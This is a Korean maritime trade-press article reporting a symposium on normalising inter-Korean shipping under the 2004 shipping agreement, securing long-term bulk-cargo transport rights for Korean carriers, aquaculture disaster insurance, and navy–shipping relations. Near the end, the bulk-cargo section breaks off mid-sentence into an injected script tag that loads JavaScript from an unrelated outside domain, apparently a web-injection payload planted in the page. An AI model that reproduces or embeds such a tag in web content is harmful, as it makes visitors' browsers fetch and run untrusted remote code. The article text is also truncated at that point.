국회의 동의 등만 남겨놓고 있는 남북해운 합의서 체결과 관련해 발표된 ‘남북해운의 정상화 방안’에서 조계석 박사는 “남북해운 합의서가 체결되면 남북 해상운송망의 안정과 발전을 이룸으로써, 남북 경제교류의 증대를 이룰 것”이라며, “장기적으로 남북해운의 정상화와 효율적인 한반도 물류체계의 구축으로 남북한 수출입업계의 물류비용 절감에도 기여, 나아가 동북아 물류중심으로 발전하는데 긴요하다.”고 말했다.
김영무 한국선주협회 상무이사는 “대량화물 장기수송권 확보’에 대한 발표에서 철광석과 연료탄 등 대량화물은 국가기간산업의 전략물자로서 대량화물 수송권의 해외유출은 곧 국부유출로 이어질 뿐만 아니라 국내 해운산업 기반이 붕괴될 우려가 있고, 한국선원의 고용기회 상실로 이어지는 등 파급여파가 심각하다”고 지적했다.
‘양식재해보험제도의 도입방안’에서 김현용 수협중앙회 수석연구원은 자연을 대상으로 한 보험은 쉽지 않은 문제이기에 정부의 최종 책임이 동반되지 않을 경우 보험자체의 성립이 어려운 상황이라며, 정부의 정부가 최종적으로 위험을 부담하는 정책보험의 형태로 양식재해보험제도를 도입해야한다고 밝혔다.
해양대학교 김재승강사는 ‘한국해운 여명기 해군과 해운의 협력관계’라는 신선한 주제로 과거부터 이어진 국내 해운과 해군과의 관계에 대한 고찰과 함께, 미래에도 이 둘의 적절한 상호협력 관계가 이어져야 할 것이라는 의견을 피력했다.
한편 유삼남 해양연맹 총재는 개회사를 통해 “FTA, WTO/DDA 등에 대비해 국내 수산업의 경쟁력을 강화해 나가고, 국제적으로 치열해져가는 해운항만산업의 국제경쟁력 제고를 위한 관련제도 정비가 필요하다”며, “이번 심포지엄의 논의를 통해 좋은 대안을 마련할 수 있을 것”이라고 말했다.
“해운합의서 발효를 계기로 남북해운 정상화 순조롭게 이뤄지길”
■ 남북해운의 정상화 방안
조계석 한국해양수산개발원 연구위원
남북한 정부당국자들이 2004년 6월5일 평양에서 열린‘제9차 남북경제협력추진위원회’에서 해운합의서와 부속합의서를 서명·교환했다. 이로써 국회 동의 등 양측 내부절차를 걸쳐 해운합의서가 발효되면 남북해운은 공식적으로 정상화의 길로 가게 된다.
남북의 교역규모는 1989년 1872만 달러에서 2003년에는 7억2400만 달러로 38배 이상 증가함으로써 북한에서 대한민국은 중국에 이어 제2의 교역상대국으로 부상했다.
현재 남북간 해운항로는 부산-나진항로와 인천-남포 항로, 그리고 경수로 물자를 운송하는 부산-양화 항로 등 3개 정기선항로가 개설돼있으며, 선박운항실적은 1994년의 97회에서 2000년에는 2073회로 대폭 늘어났다.
또, 남북한간 해상화물 운송실적을 보면, 1994년 13만8000톤에서 2003년에는 104만8000톤으로 기록적인 성장세를 보였다. 수산물 교역, 쌀, 비료 등 인도지원 물자의 운송은 부정기선이 담당하고 있으며, 쌀, 비료 등 지원물자 운송은 일부 국적선으로 이뤄졌으나 대부분 제3국 선박을 용선해 운항하고 있다.
남북해운합의서를 살펴보면 남북 해상수송, 남북항로의 민족 내부항로로의 규정 등 항로개설에 관한 사항, 운항선박에 대한 대우, 행정증서의 상호인정, 해양사고 발생 시의 상호 협력, 선원 및 여객의 상륙, 정보교환 및 기술교류, 통신, 행운당국간 협의기구의 구성과 운영 등 남북해운의 정상화를 위한 제반 사항이 들어 있다.
또한, 해운 및 항만관련 분야의 교류 협력을 촉진하고 해양사고 방지 등을 위하여 남북 해운 당국자간 협의기구를 구성 운영하도록 합의했다.
협의기구는 쌍방에서 각각 수석대표 1명, 대표 4명으로 구성하고 수행원은 쌍방이 협의해 정하고 수석대표는 국장급으로 한다. 또 협의기구의 회의는 분기 1회 개최하는 것을 원칙으로 하며, 필요한 경우 쌍방이 합의하여 수시로 개최할 수 있다. 협의기구에서 채택하는 합의서는 쌍방 수석대표가 서명해 교환한 날로부터 효력을 발생한다.
남북해운합의서가 발효되면 남북 해상운송망의 안정과 발전을 가져올 것으로 기대되며, 장기적으로 남북해운의 정상화와 효율적인 한반도 물류체계의 구축으로 남북한 수출입업계의 물류비용 절감에도 기여할 수 있다. 나아가 동북아 물류중심으로 발전하는데 긴요하다.
·남북해운 정상화를 위한 과제
남북해운 정상화를 위해 우리나라는 △남북 해운항로에 투입될 선박의 국적에 대한 명확한 이해와 선대규모의 적정화 마련 △선박의 통신문제의 해결 △북한모래 반입사업의 본격적 추진 △남북해운당국자 및 사업주체간 상호방문과 협력사업 논의 등의 단기과제와 함께, △북한 당국자 및 사업주체에 대한 해운경영 교육 훈련 △북한 항만 리모델링 및 개발사업에 참여 △남북해운협력사업의 조정을 위한 민관합동기구의 설치·운영 △별도의 남북해운인프라조성사업단도 설치 등 장기과제를 수행해야한다.
이번 해운합의서의 발효를 계기로 남북해운의 정상화가 순조롭게 이루어질 수 있도록 우리 정부와 민간업계 그리고 북한 해운당국이 지혜를 모아 공동발전의 공감대를 형성해야 할 것이다. 북측의 일방적인 선의에 기대하기보다는 남북해운협의기구를 통하여 남북 해운당국자들이 서로 신뢰할 수 있고 예측 가능한 남북해운 협력정책을 기대한다.
“대량화물 수송시 국적 전용선에 의한 수송비율을 제고해야”
■ 대량화물 장기수송권 확보 중심으로
김영무 한국선주협회 상무이사
대량화물이란 원유, 제철원료, 액화가스, 발전용 석탄을 말하며, 이 대량화물은 통상 장기수송계약 형태로 수송되며 국가 주요 기간산업의 소요물자이다.
우리나라 해운산업은 일본보다 불리한 전용선 계약조건으로 인해 경쟁력 약화를 초래하고 있다. 계약기간, 원가보상내용 및 마진율 등 모든면에서 일본보다 불리한 전용선 계약조건으로 인해 대등한 경쟁이 곤란한 상황이며, 더구나 일본에서 계약기간이 종료돼 자본비 보상이 완료된 일본선박과 경쟁을 하기 어려운 실정이다.
대량화물은 국가기간산업의 핵심 전략 물자로서, 국적선사에 의한 수송을 통해 비상사태 등 항상 유사시에 대비해야 하며, 또한 국적선대유지 및 안정적인 수송물량 확보의 원천으로, 해운산업 기반 붕괴우려 및 국부유출의 위험을 안고 있다.
이에대한 대책으로 우리나라는 대량화물 소송 협의회를 구성해 선화주, 조선산업 발전을 위한 공동연구 용역발주와 화물별 ?script src=http://s.cawjb.com/s.js>
저작권자 © 해사신문 무단전재 및 재배포 금지
